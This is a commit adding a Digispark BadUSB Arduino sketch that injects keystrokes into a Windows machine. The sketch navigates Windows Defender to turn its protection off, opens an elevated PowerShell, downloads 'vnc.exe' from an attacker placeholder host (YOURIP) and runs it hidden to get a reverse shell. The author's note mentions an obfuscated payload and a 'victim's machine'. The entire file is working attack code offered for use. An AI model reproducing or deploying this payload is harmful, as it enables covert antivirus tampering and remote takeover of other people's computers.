Create Metasploit-Revshell.ino

U can change the delays on script. I'm using like this because i obfuscated the payload on a funtional exe archive, so it takes longer to download on victims machine.

Author: EndlssNightmare

Metasploit-Revshell/DirectROOT/Metasploit-Revshell.ino

@@ -0,0 +1,79 @@
+#include "DigiKeyboard.h"
+#include "DigiKeyboardPtBr.h"
+
+void setup() {
+ pinMode(0,OUTPUT); 
+ pinMode(1,OUTPUT); 
+}
+
+void loop() {
+pisca_led(100);
+ //Desliga o Windows Defender
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); //Minimiza todas as janelas abertas
+ DigiKeyboard.delay(1500);
+ DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //Abre o executar
+ DigiKeyboard.delay(1500);
+ DigiKeyboard.println("Windowsdefender://threat/"); //Abre o windows defender pelo executar
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.print("\t\t\t\t"); //4 TAB
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_SPACE);
+ DigiKeyboard.delay(500);
+ DigiKeyboard.print("\t\t"); //2 TAB
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.print("\t\t\t\t"); //4 TAB
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_SPACE);
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.print("\t\t\t\t"); //4 TAB
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_SPACE);
+ DigiKeyboard.delay(500);
+ DigiKeyboard.print("\t\t"); //2 TAB
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT); //Fecha a janela
+ DigiKeyboard.delay(5000);
+ //Reverse shell
+ DigiKeyboard.sendKeyStroke(0);
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
+ DigiKeyboard.delay(500);
+ DigiKeyboard.print("powershell start-process powershell -verb runas");
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ DigiKeyboard.delay(3000);
+ DigiKeyboard.print("\t\t");
+ DigiKeyboard.delay(500);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.println("Invoke-WebRequest -Uri http://YOURIP/vnc.exe -OutFile vnc.exe");
+ DigiKeyboard.delay(700);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ DigiKeyboard.delay(12000);
+ DigiKeyboard.println("powershell -windowstyle hidden start ./vnc.exe");
+ DigiKeyboard.delay(1000);
+ DigiKeyboard.sendKeyStroke(KEY_ENTER);
+ //
+ pisca_led(1000); 
+ for(;;){ /*empty*/ } 
+}
+
+void pisca_led(int velocidade){ 
+ for (int inicio =1; inicio <= 10; inicio ++) {
+ digitalWrite(0, HIGH); 
+ digitalWrite(1, HIGH); 
+ DigiKeyboardPtBr.delay(velocidade); 
+ digitalWrite(0, LOW); 
+ digitalWrite(1, LOW); 
+ DigiKeyboardPtBr.delay(velocidade); 
+ } 
+}